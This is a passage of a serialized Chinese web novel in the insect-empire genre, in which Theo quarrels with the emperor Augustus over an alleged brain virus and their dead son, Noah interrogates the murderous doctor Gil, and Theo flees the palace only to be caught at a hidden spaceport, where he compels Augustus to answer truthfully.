“能不能直接告诉我,你的理由,到底是什么?” “我认为……”奥古斯特缓慢但坚定地说,“我确信你感染了布氏病毒。” 西奥懵了一瞬,“那不是导致萨迦死亡的疾病吗?” “没错。” “但这个疾病非常特殊,只会感染雌虫。准确来说,基本只感染军雌。雄虫感染的病例甚至都没有过正式的报道和解剖!” “你说的对。” “奥古斯特,我是个雄虫!”找借口好歹也找个真一点的吧! “没错,但布里奇也是。” “什么意思?” “我的意思是,雄虫感染布氏病毒的情况非常罕见,但并不是没有。” “好吧,就算布里奇感染了,也不代表我也感染了。我只是偶尔见了他几面,没有任何亲密接触。而这个病毒的感染条件很苛刻,必须要有直接的体.液接触才行。”西奥摊手,“而我没有。” “没错。但是具体的接触途径很难彻底排查,存在造假和错误的可能性,并不能作为感染的直接判断标准。最关键还是医学上的一些确切诊断。比如,脑部的雪花状图像。”说着,奥古斯特递出几张脑部的CT成像,“这是昨天……克利夫给你做的检查结果。” 那张脑部图像上,有着大片的雪花状蔓延,的确是经典的布氏感染的病症。 但这不可能! “这么大片的雪花,代表病毒已经存在至少一个月以上了!这根本不可能!” “就在一周前,吉尔还帮我做过一次,那时候还根本没有!”西奥立刻反应过来,“你篡改了我的检查报告!” “关于这个,你的检查报告确实被篡改过了,但不是被克利夫,而是被吉尔。”奥古斯特解释道,“他同样也修改了布里奇的体检报告,让他得以顺利进入第一军团。” 西奥干笑了一声,“你什么意思?认真的吗?吉尔?” “我跟他是好多年的朋友了!而且他还给很多贵族当家庭医生,你现在告诉我他有问题?!” “没错。我们仍然不知道吉尔具体是何时被感染的,但对方选择从他入手,确实是非常高明的一招。现在皇家护卫队不得不逐一排查他就职的家庭,以及在研究院接诊过的病患。这可能需要一点时间。” “等等,等等!你是认真的?”西奥简直无法相信,“为了合法篡改我的报告,你要把吉尔拉下水?!” “他只是我的朋友!他是无辜的!” “他并不是。”奥古斯特依旧冷静异常,“昨天诺亚去精神力研究院,最主要的目的并不是找你,而是找吉尔。但并没有在那里找到他。” “可能他只是不在工作单位而已。就算是医生也有资格休息吧!” “护卫队同时也前往了他的住所,他的亲友的住所,以及附近的商场和公共交通站点,都没有找到他的踪迹。吉尔在昨天,很可能在萨迦出事之前,就已经离开了。这在案件侦查中,叫做畏罪潜逃。” “但这都是你和皇家护卫队的一面之词。事情的真相也可能是,你趁机把他做掉、就可以死无对证,然后就是欲加之罪,何患无辞!” “西奥,你冷静一点,听我说完。”奥古斯特安抚道,“吉尔并没有死。你知道昨天有一架飞船失控坠落了吗?” 西奥不仅知道,而且围观了直播的全过程。在这件事情上,奥古斯特的处理绝对十分英勇,且无可指摘。他实在不想在吵架中途突然停下来夸一顿对方,但也没办法昧着良心在这件事情上说奥古斯特的坏话,“知道又如何?一码归一码!” “你救飞船做得再好,也不妨碍你在其他的事情上犯错!” 奥古斯特顿了一下,“……我没想说这个。我想告诉你的是,吉尔就在那艘飞船上。事实上,那艘飞船之所以会失控撞向皇宫,也是因为他。具体手段还不清楚,按理说飞船的操控系统没有那么容易被破坏。” “他现在正被羁押在护卫队,还没有经过详细审讯,但是已经对他所犯下的罪行供认不讳。”奥古斯特继续说,“另外,他还提到了……你的感染情况。” “所以,他说我感染,我就必须感染是吗?一些口供就能坐实我的身体情况?”西奥坚决不要走进对方的语言陷阱,“口说无凭,虫皇陛下。而且这种口供,你想要得到的话,应该也很容易吧!” “好。你说我的证据有问题,那你有证据证明自己没有被感染吗?你以为这是我想要的结果吗?” “因为我自己的身体我最清楚!我根本就没有被感染!” “这个疾病其中一个症状就是表现异常,是认知扭曲导致的。你觉得正常,并不代表真的正常。” “而且你一直没有精神力,不是吗?!”奥古斯特脸上终于多了些表情,不再平静无波,他上前一步,再次质问:“不是吗?” 所以他不知道,奥古斯特不知道自己已经能用精神力控制科特鼠了。而在这种情况下,西奥当然不可能把仅剩的底牌轻易亮出去,于是试探道:“如果我有精神力,就能用语言控制你了,不是吗?” 那样奥古斯特还会允许他这样的威胁存在吗! “没错。” “被一个雄虫,比你弱小许多的雄虫用语言控制,那是一种什么感觉?” “你并不弱小,西奥。”奥古斯特闭了闭眼,“或许我就不该跟你说这些……” “好,假设,假设就按照你说的,我已经被感染了,无药可医了,那你接下来打算怎么办?”知晓奥古斯特下一步的计划也至关重要,如果他被转移到其他地方,确实会对他的逃跑造成非常大的阻碍。 “你要执行标准消杀流程吗?” “不,我不会那么做的。我永远不会对你做那种事。”奥古斯特说得非常真切,“雄虫跟雌虫的感染不一样,可能在携带病毒的情况下存活很长时间,你看起来也不会跟平日里有太大区别……” “但为了安全,还是要把你跟其他虫隔离开。单独待在一个安全的区域。” “所以,你……打算把我关在皇宫一辈子?!”奥古斯特话里透出来的意思让西奥心惊,“为什么?!如果按照你说的,我已经感染了病毒,那我的信息素应该也被污染了,你根本用不了吧?” “那我对你来说,已经没用了吧!” “你是我的雄主,怎么可能没用。”奥古斯特终于问出了那个问题,“西奥,我不知道你为什么这么生气,昨天带你回家确实有点突兀,但也都情有可缘。我在认真跟你解释原因,为什么不能尝试着相信我呢?” “你觉得我应该相信你?为什么?凭什么?!” “因为,我是你的雌君。” 西奥不明白,事已至此,对方为什么还能如此坦然镇定地说出这句话,“那你还是弗雷德的雌父呢!” “我当然是。不知道你说这个是想……” “我说的不是现在这个弗雷德!不是第一军团长弗雷德!而是三年前,托亚扪那个!他是你亲手生下来养大的虫崽!然后呢?然后你杀了他!是不是?!”怒吼着说出这些话的时候,西奥狠狠盯着奥古斯特,他希望能够看出点什么,悔恨、痛苦、自责,或者对方能够干脆地反驳自己,其实不是我杀的。其实我也是有苦衷的…… 但什么都没有,奥古斯特只是肉眼可见的,震惊。甚至就连那点震惊也是淡淡的,真正将帝王的喜怒不形于色贯彻到底。 “你是……怎么知道的?”没有解释,只有被识破后下意识的追问。 西奥终于彻底爆发:“因为那是他妈的一个活生生的虫!他存在过,他成长过,他留下了许许多多的痕迹,是你没有办法依靠权力全部消除的!” “因为真相就他妈的在那里!那不仅仅是我的崽,他也是你的崽啊!你怎么忍心的?活生生剥夺他的存在,假装一切都没有发生过吗?!” “你怎么能够,在做出这一切之后,还指望我天真的相信你呢?!” “就因为,你他妈是我的雌君?!” “你连自己亲生的崽都能直接杀掉,更别提只是一个没有血缘关系的雄主了!” “甚至就连这个身份,这场婚姻,从一开始都只是一场交易啊!” “没错,我看到那份结婚协议书了!条条款款列的是真清楚啊!就是各取所需不是吗?!” “你猜怎么着,虫皇陛下?我现在要跟你离婚!” 西奥一把扯开床头的抽屉,从中抽出那张早已拟好的离婚协议书,然后用力拍在了奥古斯特的脸上! “要么离婚,要么……” “你干脆杀了我!” 狠话放完,西奥平复着剧烈起伏的胸腔,随便抹了一把脸上的乱七八糟的泪,试图让自己看起来更有气势一些。他无视了系统在大脑内的尖叫声,瞪着面前只有一步之遥的雌虫。 “要是黄泉路上我走快点……说不定还能追得上我们家阿弗!” 纸张飘忽落地。奥古斯特蹲下来,将那张薄薄的离婚协议书捡起,瞥了一眼,然后用力将它揉成了一团。 他看向面前哭泣的、脆弱的、愤怒的雄主,说: “不。” 作者有话说: 逃跑倒计时…… 第60章 第60章逃![VIP] “姓名?” “吉尔·特纳。” 在听到这个姓氏的时候, 诺亚忍不住看了他一眼。特纳,也是第三军团长罗森塔尔的姓氏。他们曾经做过严格的审查,以为没有关系。但兜兜转转, 这个出身平民的医生,似乎还是选择了自己的站队。 “职位?” “皇家护卫队脑外科主任。兼任皇室和其他几位贵族的家庭医生。” “知道罪名吗?” “唔, 这就有点多了。”吉尔抬起头, 视线也随之向上, 似乎在认真思索, “诺亚上将, 想让我从哪条开始说起呢?” 诺亚压住自己的怒火, “你知道萨迦上将的事情吗?” 吉尔点点头, “我知道他感染布氏病毒的事情。但那之后具体发生了什么,我就不得而知了。” “不过看你们的表现,我猜他已经去世了。” 说这话时, 吉尔表情平静,甚至还带着点微笑。仿佛还是那个平易近人、耐心细致的医生。但一想到他做的那些事情, 诺亚只觉得后脊发凉。 “能解释一下,为什么要谋害萨迦上将吗?” “我跟萨迦上将本虫, 其实并没有任何仇怨。”吉尔双手交叉, 扯动了手腕上的锁链。不仅如此, 手铐的另一头还被固定在了桌子上,双脚同样也有镣铐。他甚至还被注射了过量的精神力抑制剂,所有能加的限制手段都加了上去。 那可是萨迦, 那可是他们的上将、同僚。 “要怪就只能怪,萨迦所处的位置。” “你是说, 第一军团上将的这个位置?你想搞垮第一军团?” 吉尔摇摇头,“不, 是因为他是奥古斯特指定的继任者。” “是不是暗自松了口气,诺亚上将?”吉尔笑着问道,“据我所知,原本虫皇指定的继任者,本来是你。但不知为何,后来改变了主意。” “有没有一种劫后余生的喜悦呢?” 诺亚眉头跳了跳,没有理会吉尔的挑衅,“为什么你要杀死虫皇的继任者?背后指使你的虫是谁?” 吉尔脸上的笑容消失了,身.体向后,放松地靠坐在椅背上,“为什么我一定是被谁指使的呢?就不能是我自己想做的吗?” “你是个医生,吉尔,也算个科学家。但是不管死多少个虫皇继任者,都跟你无关。”诺亚身体前倾,逼问道,“所以,为什么要插手?是谁让你这么做的?” “我当然有动机。杀死萨迦这个继任者,一定会让奥古斯特非常难受。而我……恨他。” 诺亚并不相信他的这些话,太过牵强,感觉像是临时编出来的。“所以,在你给布里奇体检的时候,他就已经感染了,是吗?你们之间又是怎么搭上线的?是在精神力研究院,还是在那之前?” “我恨奥古斯特,是因为他是个雌虫,却当上了虫皇。一个雌虫,却拥有了他不该拥有的权力。往前几百年,那时候的虫皇都是雄虫来做的!” 诺亚十分无语,他也没想到对方给出的理由会这么离谱,“那你应该早点出生,而不是在这里搞性别歧视。” “你到底怎么认识布里奇的?谋杀萨迦上将,是你的主意,还是他那边的?” “诺亚上将,在你、你们这些位高权重的军雌眼里,不管是我还是布里奇,我们都是些小虫物,是吗?”吉尔继续反问,“我们都无足轻重,非常容易就被利用,从头到尾只是个工具。我们的想法、个性、情绪,在你们看来,都完全不重要,是吗?” “直到,有一天,你们栽在了我们手里!”吉尔低着头,咧开嘴笑了一下,眉压眼的视角让这个表情凭空多了几分阴郁,“但即便如此,你们仍然不想听。” 诺亚嘴角抽了一下,“我不需要了解犯罪者的心理,我只需要了解方法,然后避免。” “但如果这个制度本就对雄虫不公,那凭什么你们自诩为正义的一方?!我弟弟被他的雌君逼死的时候,法律和公平有站在他那边吗?!” “关于你弟弟的事情,我很抱歉。”诺亚在本子上写下几个字,“所以,你准备说出幕后黑手是谁吗?还是打算包庇他一辈子?” “不,你并不抱歉。你只是觉得自己终于找到了原因。”吉尔抬头,扯了两下嘴角,“但没有那么简单。事情从来不是那么简单的,是吗?” “如果你不打算说,那我先走了。”诺亚起身,准备离开。 “布里奇没有告诉你们吗?”吉尔终于开口,“是西奥,让他这么做的。” “而他也是我最好的朋友之一。” 诺亚重新回到审讯桌上,“所以你是想说,你配合布里奇,后来逃跑,又操纵飞船坠毁,这些、所有的一切,都是西奥指使你的?” “这不可能。” “为什么?如果是西奥,难道不是一切都说得通了吗?”吉尔说,“西奥憎恨奥古斯特,因为弗雷德的事情而恨上了他。” “西奥阁下已经失忆了,他甚至都不记得托亚扪事件。而且,他很爱陛下。” “是吗?但有时候,深爱和憎恶之间,只有一线之隔。” 诺亚决定结束这场毫无进展的问询,“行吧。那祝你好运。” 在诺亚即将离开这间审讯室的时候,吉尔再次喊住了他,“我知道你们要杀了我!” “像这种重罪,我还能活过明天吗?” “也没那么快。”诺亚回答,“但是死刑确实你马上就要抵达的终点。” “即便如此,还是什么都不打算说,是吗?”诺亚点点自己的太阳穴,“被你脑子里的病毒吃掉所有聪明的脑细胞了,是吗?!” 吉尔眯起眼睛,“我并不害怕死亡。越是了解脑科学,越能明白,躯体,只不过是思想的简陋容器。” “所以呢?你自己不怕死,就要带着别人一起死,是吗?你刚才说的那些,什么制度不公,什么反抗强权,实际上根本就是一堆空话!屁话!因为你打心底里根本就没有,对另一个生命的最基本的尊重!” “萨迦、布里奇、西奥、奥古斯特,还有坠毁的飞船上那两百多个无辜的乘客,在你看来又是什么?!你眼里只有自己,还有那可笑的公平正义,你有没有想过,这些虫,也都是活生生的性命呢?!你在追求什么高大上的公平正义,那他们的公平正义又在哪呢?!” “你有什么脸在这里!跟我说这些!!!” 吉尔挺直脊背,“为了更大的目标,一些牺牲……在所难免!你不能就这样,就这样否定我!” “自我决定付出性命,那叫牺牲。而擅自夺走他虫的生命,那叫谋杀!” 诺亚站在吉尔面前,隔着审讯室的玻璃自上而下,直视他的双眼,“而你,吉尔,你只是个可悲的可怜的可恶的可恨的,谋杀犯而已!” “你给我闭嘴,闭嘴!”吉尔猛地站起来,却被手铐扯住了胳膊,“你不许这么说!你收回你的那句话!你给我闭嘴!虫神向我许诺过……” “虫神?”诺亚问。 吉尔猛地停下,他缓慢地坐回椅子上,“神爱世虫。” “我会飞上天堂,而你们将堕入地狱。” …… 从审讯室里出来后,诺亚立刻去找了奥古斯特,“我觉得,我们需要尽快彻查一下虫神教。” “我不知道哪个在前哪个在后,但是虫神教肯定跟布氏病毒有千丝万缕的联系。而且之前弗雷德也在查微簿的事情,这个也跟虫神教和布氏感染都有关联,不是吗?所以,或许对方一直领先我们的原因,就是利用了虫神教庞大的信息网。”一通说完,奥古斯特却没有任何回应。 “陛下?”诺亚注意到,奥古斯特神色不太对,“您还好吗?” “就按照你说的,先让护卫队的乌鸦暗中调查记录虫神教的相关活动。暂时不要打草惊蛇。” 然后解释了一下,“西奥他,他知道托亚扪的事情了。” “哦,呃……那西奥阁下,假设那是西奥阁下,他还好吗?” “他……”奥古斯特捏了捏眉心,精神力几近耗竭的疲惫在此刻尽数涌上。甚至在救下飞船后,有那么一瞬间,奥古斯特以为自己真的会因为精神力耗尽而死去,好在,一点外在的精神力及时帮了他的忙。 大概是附着在给西奥的项链上的。 “他想跟我离婚。” “啊,那您,是怎么回答的呢?” …… “不。” 在压抑之后的一通疯狂发泄之后,西奥也同样感到了一阵后怕。说的时候没有想太多,如果,奥古斯特真的不管不顾,就是杀了他呢? 平复情绪之后,他仔细一想,他还是不想死的。 “什么不?” “离婚,和伤害你。都是不。” 意料之中的拒绝。要说实话,西奥也没期待能从奥古斯特嘴里得到自己想要的任何答案。 不过,在虫皇离开之后,西奥倒是吃了点饭。因为接下来他要做的事情,需要相当的体力。以及帮助。 “系统。” “宿主,你吓死我了你!怎么突然就跟反派呛上了?那是反派,你知不知道啊?!他要是真的杀了你,我也会跟着倒霉的你知不知道?!” “好了,别说了,这不是没死吗?” 系统继续蛐蛐,西奥再次打断,“把外面摄像头的视野同步给我。” 伴随着一阵头痛,西奥右眼的视野被崭新的图像覆盖了。那是二楼走廊窗户处一个摄像头的视野,可以清楚拍摄到外围的情况。摄像头还是他之前自己安装的,当时不过半天就被发现了。可能因为这个的位置比较刁钻,于是成为了漏网之鱼。没想到如今派上了用场。 现在没有控制器,也就只能拜托系统入侵,然后同步到自己的视野里了。副作用就是有点头疼,但西奥也管不了那么多了。 皇宫外围,士兵比以往多了至少一倍。接连两件大事,萨迦死亡,飞船坠毁,皇家护卫队现在估计已经成了惊弓之鸟,警戒值都快到巅峰了。 而西奥,也有他自己的计划。 “快到时间了,对吗?” “对的,还有七个小时。” 接下来的时间,除了吃饭喝水这些日常,西奥一个虫待在房间内,再也没被打扰过。 他还顺便重新手写了一份离婚协议书,有些内容记不清了,就胡编乱造了些。 比如,离婚后夫夫共同财产应该都给雄虫一方,因为他很可能失去工作。比如,离婚后虫崽仍然属于双方共有,不得阻拦探视。再比如,债务拒绝共同承担。 然后在签名那里,给奥古斯特的留的位置前面写着:乙方大坏虫。 西奥也很清楚,这些事情不过也就是过过嘴瘾。法律对于奥古斯特没有多少约束作用,而且具体能执行多少,真的说不好。 至于当下……他也只能顾得了当下。他只想离开。 西奥摘下戒指,又取下项链,压在那张离婚协议书上。至于手环,早已被拿走了。 这是他刚来虫族的时候,奥古斯特亲自给他的三样东西。现如今他要走,自然也要尽数归还。 赤条条来,赤条条走。他才不要欠奥古斯特的! 只是戒指已经戴成了习惯,乍一摘下,多少有些不适应。指根处空荡荡的,像是少了点什么。 不管少了什么,西奥知道,往后余生里,他也只能适应。 毕竟系统所说的契机,马上就要来了。 …… 在第一声枪声响起的时候,西奥就听见了。黑夜里太过安静,虽然枪声微弱得仿佛远处响起的一颗鞭炮,却还是立刻被没有睡着的西奥捕捉到了。 西奥立刻起身,趴在窗户上观察着。又是紧张,又是期待。 紧接着,枪声变得密集、响亮。很快,一枚炮弹落在了不远处,轰然炸开的巨响让宫殿都为之颤动! 外面顿时变得明亮,又吵闹。脚步声、吆喝声、枪炮声此起彼伏,奏成一曲混乱交响乐。 这就是系统说的机会,一次针对皇宫的袭击。有了之前飞船的事情,西奥可不认为这点战力就能够让皇宫失守。但说到底,他也不在乎胜负,只是想要趁着混乱离开这里。 离开这个囚笼一样让他窒息的皇宫。 “怎么回事啊!”西奥立刻打开卧室门,神色慌张地冲外面两个守卫大喊,“地震了吗?!我们要死了吗?!” “请放心,不是地震。应该是有敌袭,护卫队应该已经在处理了。” “那会不会有危险啊?我们要去别的地方吗?” 守卫也有些为难,他做不了这个主。其中一个便向另一个点了点头,“请稍等,我去请示一下陛下。” 卧室房门又被关上,但就在房门关闭之时,两只小小的科特鼠趁着守卫不注意,从他们脚下溜走了。 整个皇宫的电力设施就在霍尔德宫殿下方的地下室内。只要把总闸关掉,所有的灯光、监控,甚至部分武器都会在瞬间失效。但存放这些设备的房间,平日里都是锁着的。 所以,鼠鼠需要一个机会。 一只科特鼠溜到二楼的角落,那里有一个紧急开关,是应急的时候用来短暂关闭电力系统的。这东西为了方便使用,可没有上锁。 科特鼠打开应急开关外面的塑料壳子,小爪子压在了上面。 与此同时,正在卧室内等待的西奥伸出一根手指,高高举起,然后轻轻下压。 啪嗒! 整座宫殿顿时漆黑一片! “怎么回事?!” “停电了!” “被袭击了吗?!” “去检查电源!” 外面乱作一团,西奥也趁机再次打开卧室门,“为什么突然黑了?!” “请别着急,应该是线路出了问题,导致暂时停电了。”剩下的守卫隔着一段距离安抚他。因为奥古斯特说过他被感染了,所以守卫不敢靠近。 “外面好像很乱,你不用去帮忙吗?” 守卫似乎有些犹豫,“我的工作是保护您的安全。” “不用把看着我不许出门说得那么好听。”西奥问,“你腰上那把枪,是用来杀我的吗?” “不,这是□□,并不致命。除非有命令,我绝不会对您下手。” “也就是说,如果有命令,你就会对我下手?” 西奥慢悠悠地往前,为了保持距离,守卫被他逼得步步后退,“请您不要再往前了。” “否则你就要开枪?” “西奥阁下……” 正说着,楼下突然传来一声清晰的枪响,还有几声距离很近的惨叫。 “卧槽?!”西奥也吓了一跳,“他们不会进来了吧?!” “西奥阁下,请您回卧室里去!”守卫掏出了枪,朝着走廊尽头走去。身影很快消失在拐角处。 不至于吧,什么情况? 但西奥也来不及多想,按照计划,第二只小鼠应该也快要到了才对。 没过几秒,电力恢复了。皇宫内外再次灯火通明。同时也意味着,一定有虫打开过地下室的电力设备。那就是科特鼠进入的机会! 拜托了,茅斯!加油啊! 西奥看一眼外面的光亮,否则他就只能顶着亮如白昼的探照灯逃跑了!!! 时间一分一秒过去,守卫不见返回,灯光未曾熄灭。 就在西奥准备咬牙往外冲的时候。黑暗再次如约降临了这处宫殿! 西奥用同步的视野再次检查了一下外围,确定大部分守卫确实不在这边,才终于推开了窗户。 飞板在脚下伸展开,西奥猎豹一样悄无声息的踩了上去。 凉爽的、带着硝烟味的夜风吹了进来,灌满了西奥的胸腔。 他压低身体,合拢衣领,如同鬼魅般从窗口飘了出去。 飘过花园,飘过栏杆,前后不过十几秒,他终于安全地、顺利地离开了皇宫! 出逃的喜悦太过强烈,便也忽略了,一枚射向他的子弹被精神力丝线弹开的微弱声响。 背后是枪炮战火,混乱一片。 前方是无尽夜空,任他翱翔! 作者有话说: 嗯,总之逃了《 》 60-70 第61章 第61章追![VIP] 在短暂的喜悦之后, 西奥迅速恢复了冷静。 虽然这条线路——通往自己离开首都星航站点的线路——他已经提前走了好多遍。但现在没有导航,又是夜晚,西奥只能凭借一个指南针, 以及一些标志物来辨认方向。 一边飞一边仔细校准,但最后还是走错了一次, 绕了个大圈子。好在一路上都没有追兵, 也不知道是被那些袭击者绊住了, 还是不知道他的逃跑方向。 总之, 这在西奥看来, 已经是件大好事。 大约飞了半个小时左右, 西奥终于在茂密的森林中, 看到了那个小小的非法航天机场。那是一小片圆形的空地,像是森林中的一小块斑秃。 停机坪上停着几架飞船,其中就有西奥的那架。从gu光选会那里把它买回来, 花了不少钱,但都是值得的。燃料加满, 操作简单,航线预设——所有的步骤都被简化到了极致, 为西奥的逃跑提供了绝佳条件。 直到此刻, 看到这艘即便在夜色中依旧反射着银光的漂亮飞船——西奥叫他自由号, 他才终于情真意切地松了口气。 距离真正的自由,只剩一步之遥! 飞板迅速减速,刹停。西奥从上面跳下来, 小跑着奔向自己的自由号。 为了防止飞船被盗,外面加了两道锁, 一道是机械锁,要用钥匙开, 另一道则是生物密码锁,要用指纹开。 西奥用钥匙开了第一道锁,手指刚压在了密码锁上,就听到了身后翅膀扇动的微弱声响。 紧接着,脚步落地。与此一同落下的,还有西奥悬在嗓子口的那颗心。他的身.体僵住,就连呼吸都停止了。 但不论如何,成功或失败,总归要面对。 伴随着滴的一声,飞船舱门打开。但通向自由的道路已然被堵死。西奥缓慢转身,果不其然,看到了奥古斯特。 军雌的翅膀还没收,在夜空中闪烁着点点光芒,依旧庞大又美丽。他穿着黑色的飞行服,几乎整个虫都融进黑暗中,难怪西奥一点都没察觉。 奥古斯特依旧冷静且强大,似乎那场针对皇宫、很可能也是针对他的突然袭击,没有对他造成任何伤害或者影响。 “西奥。”奥古斯特说。 “虫皇陛下,”西奥说着,看了一眼奥古斯特身后陆续降落下来的军雌们,“您是来抓我回去的吗?” 奥古斯特叹了口气,似乎十分失望,他压低声音,上前一步,如果不是西奥了解他,几乎以为他是在乞求:“雄主,我们能谈谈吗?” 西奥指了指他身后的几十个护卫队精锐,“这就是你谈谈的态度吗?” 其实他不明白,事到如今,在双方都已经撕破脸只差走个离婚程序的如今,奥古斯特还在装模做样些什么。 但不论如何,对方有所忌惮,总归对他有利。 奥古斯特轻轻抖了一下肩膀,虫翼被轻巧收回。“我可以让他们回避。” “但外面冷,我们去屋里说吧。” 外面确实挺冷的。刚才飞了那么久,西奥脸已经有点冻麻了。而且这种情况下,确实没必要在这种小事上跟奥古斯特对着干。 “如果我跟你去里面,你就会让他们回避?” “他们本来就是要回避的。” 西奥刚一张嘴,就被奥古斯特举起手打断了,“但我不是来跟你吵架的。先进去,行吗?” 机场上有两间简陋的小屋,用来存放一些设备和杂物。奥古斯特果断暴力破开门锁,找到电源,打开了灯。 这里面有不少灰尘,他们不得不擦干净桌椅,才勉强落座。 于此同时,那些护卫队的军雌倒是的确没跟上来。 但是,“他们还没有全部离开吧?” 这个距离和角度,还是在房子里,玻璃都看不清了。西奥当然没有那个本事判断军雌们到底有没有全部后撤,但好在,他还有系统,可以判断周围有没有电子设备的系统。 而每个军雌,都至少佩戴了一款手环。 大部分军雌的确离开了,但是还有两个,一直等在外面。 奥古斯特没有反驳,只是点开自己的手环,“好了,撤吧。” 最后的两个手环也离开了。整个机场,这座孤独的小屋内,只剩他和奥古斯特。 “说吧,你想谈什么?” “实际上,我带了几样东西,想先给你。” 哦不。不会又是项链和婚戒吧。 奥古斯特将手伸进口袋内,就在西奥思考该怎么拒绝的,他已经伸出了手,然后摊开…… “吱吱!” “茅斯!”西奥有些惊喜地把小鼠接过来,轻轻抚摸他的背部。从皇宫的出逃可以说非常匆忙,西奥从来没想到还能再次见到它。 “在电力设备室找到的,我想应该是你的。” “确实是。”被直接指出这点,西奥猜测自己趁着停电出逃的事情,应该也早就被对方发现了,“谢谢。” “这是一只科特鼠,对吧?它们对精神力很敏感。” 西奥顿时警觉,奥古斯特是猜到了什么吗? “这只是一只非常聪明可爱的……普通小鼠。”西奥把茅斯揣进自己的口袋里,“所以你追这么远,就只是为了给我送小鼠吗?” “不,还有一样东西。”奥古斯特的手再次伸进口袋,这次他拿出来的东西,是一个小小的长命锁。 西奥接过来,发现上面刻着一个小小的F,“这是……” “弗雷德和弗莱特刚破壳的时候,身体不太好,经常生病。你就找时间给他们做了这个,说是长命锁,保佑他们平安长大的。” “弗莱特调皮,他的那个早就不知道丢到哪里去了。但弗雷德的这个,他一直好好戴到了成年。” 西奥将长命锁翻过来,背面是四个虫族的文字,长命千岁。他下意识想要发笑,的确,对于虫族这种长寿种族来说,长命百岁的确算的上一种短命诅咒,可不得换成千岁吗? 紧接着,西奥意识到一件事,弗雷德戴了这么久的长命锁,戴着自己的期盼和祝福长大,却死在了只有二十五岁的时候,连百岁都没到。哪怕换成人类,也是个过于年轻的年纪。 不该迎接死亡的年纪。 西奥将那把小锁攥在掌心,感受着上面的突起和纹路,冰冷、坚硬,却并不硌人。因为在最初制作时就足够圆润以避免伤到娇嫩的虫崽,因为已经被弗雷德贴身佩戴了许多年。 西奥闭上眼睛,试图去想象,一个婴儿虫崽,戴着雄父赠予的小小配饰,然后一点点长大,变成一个会说会笑的软乎乎的小肉团子,然后陡然间抽条,穿上军装,变成了——变成了弗莱特的样子。 他没有记忆,只剩一点点视频填补那段漫长空白的缝隙,他并不知道、并不记得、并不了解真正弗雷德的模样,他甚至没有看到过,弗雷德穿军装的样子……而他再也没有机会亲眼得见了,因为,奥古斯特杀了他。 一阵尖锐的憎恨猛然刺穿了他! 西奥仰了一下头,看向同样斑驳发霉的天花板,像是想要以此止住眼中的湿润。 他用力将那把长命锁攥紧,以至于拳头都在颤抖,然后低头,直直看向桌子对面的虫皇,“奥古斯特,你到底要做什么?!” “你不是觉得我已经感染了吗?那你应该早点杀了我,或者就像你说的,找个地方把我关起来。你来不就是为了这个吗?既然如此,为什么还要浪费时间跟我说这些?!” “西奥,我……”奥古斯特顿了顿,声音依旧平稳无波,像是在陈述某种事实而不是表达需求,“我需要你。” “我希望你跟我回去。” 希望,说的好像他有得选一样。 “回哪里去?皇宫吗?” “那里现在不太安全,可能要换个地方。” 哦对,那里刚刚经历了一场混战。“这是重点吗?!所以如果我拒绝回去,你要怎么做?” “西奥,你是个雄虫。”奥古斯特说,“没有精神力的情况下,你不是我的对手。” “所以,你会把我强行带回去。”西奥明白了,“所以,我从来没有选择。” 奥古斯特轻轻摇头,西奥捕捉到一丁点痛苦,从他的脸上一滑而过,快到像是错觉,“我没有想强迫你。” “你没有想,但是你要做。” “是不是弗雷德的事情你也要这么说?你不想杀他,但你还是做了。” 奥古斯特的身体骤然绷紧,西奥能看到脖子上绷出的线条,还有额角跳动的青筋。原来他也会有逆鳞,原来他也会痛苦。而这种痛苦……让西奥感到一丝扭曲的愉悦。 “你打算告诉我吗?为什么要杀了阿弗?为什么要瞒着我?” “不!”奥古斯特咬着牙开口,他深吸一口气,一手仍然攥紧成拳,搁在桌面上,“我不……我不能现在谈论这个,西奥。求你了。” “好吧,不谈虫崽,来谈谈我们。” “我们已经离婚了。”西奥上来就直奔主题。 “不,我们没有。” “离婚协议书就在卧室桌子上,别告诉我你没看到。那上面还有别的东西,应该很显眼。” “离婚需要双方同意,而我不同意。” “为什么?奥古斯特,既然我被感染了,你就不能用我的信息素了不是吗?你已经不需要我了!离婚对你来说没有任何损失!” “我需要的不是你的信息素,而是你。” “什么?”西奥愣住了,这对他来说完全是个全新的消息,“你需要我,什么意思?” 他站起身,绕过桌子,靠近奥古斯特,“等下,我得把事情弄清楚。” “有几个问题,我必须问清楚。不许说谎,并且只能用是或者否来回答。”西奥站在雌虫身前,谨慎地通过语言释放自己的精神力,“在我失忆之后,你是否曾经考虑过杀了我?” 奥古斯特张了张嘴,大概试图说点别的什么,然后立刻意识到了不对劲。他张嘴结舌,竟然无法按照自己的意志发出声音。诧异爬上那张总是平静沉稳的英俊面容,震惊淹没了那双阿凯特斯蓝的双眸。 军雌的肌肉在瞬间绷紧,试图坐起来,或者做点其他什么,但就在他有所行动之前,西奥的话语——携带了精神力话语再次传递到他耳边:“别动。” “回答我的问题。”西奥俯身,命令清晰有力地贴在他耳边下达,“不许说谎。” 奥古斯特回答,他不得不回答:“是。” 预料之中的答案。 西奥用力咬了一下后槽牙,然后继续发问:“你说你需要我,意思是你希望我对过往毫不知情,然后继续盲目地爱你,对吗?” 奥古斯特答:“是。” “你是否觉得……”西奥停顿了一下,他曾经设想过无数次,他想要知道真相,但是依然害怕真相,“这段时间,你一直在利用我呢?” 奥古斯特嘴唇颤抖,牙关咬紧,浑身紧绷,像一尊静默绝望地雕像,但无论如何,依旧无法阻止答案从他嘴中吐出:“是。” 西奥点点头,强迫自己掐灭最后的那一点希望。这是他第一次在奥古斯特清醒的时候使用语言控制,或许,有那么点可能,他的能力不够,没办法从奥古斯特嘴里得到真话。 但一连三个问题,奥古斯特给出的答案都是对他不利的那个。所以,这不可能是假装,不可能是谎言。这就是最为确定的、来自当事虫的真相。 “反派就是反派呢!”系统说,“就是这么可恨呢!” “最后一个问题,关于弗雷德。”西奥继续问,“在你杀了他之后,你是否曾经……” “有那么一瞬间,认为自己做错了呢?” 奥古斯特看着西奥,似乎在乞求,或者阻止,但无论如何,答案还是从他唇间滑落。 “否。” 所以他从未觉得自己有错。从始至终,他的选择都很坚定。 事实已经非常清楚了。 最后一根丝线也被斩断,心中的最后一块巨石轰然坠落,砸出一个大坑。 西奥站直了身体,闭了闭眼,然后发出了另一项命令:“跪下!” 虫皇从破旧的椅子上滑落,双膝重重坠地,发出响亮的声音,咚。奥古斯特双手背在身后,身体微微前倾,仿佛一个被束缚捆绑、引颈就戮的囚犯。 审判已经结束,刑罚即将执行。 “这是为了弗雷德!”说着,西奥高高举起自己的右手。 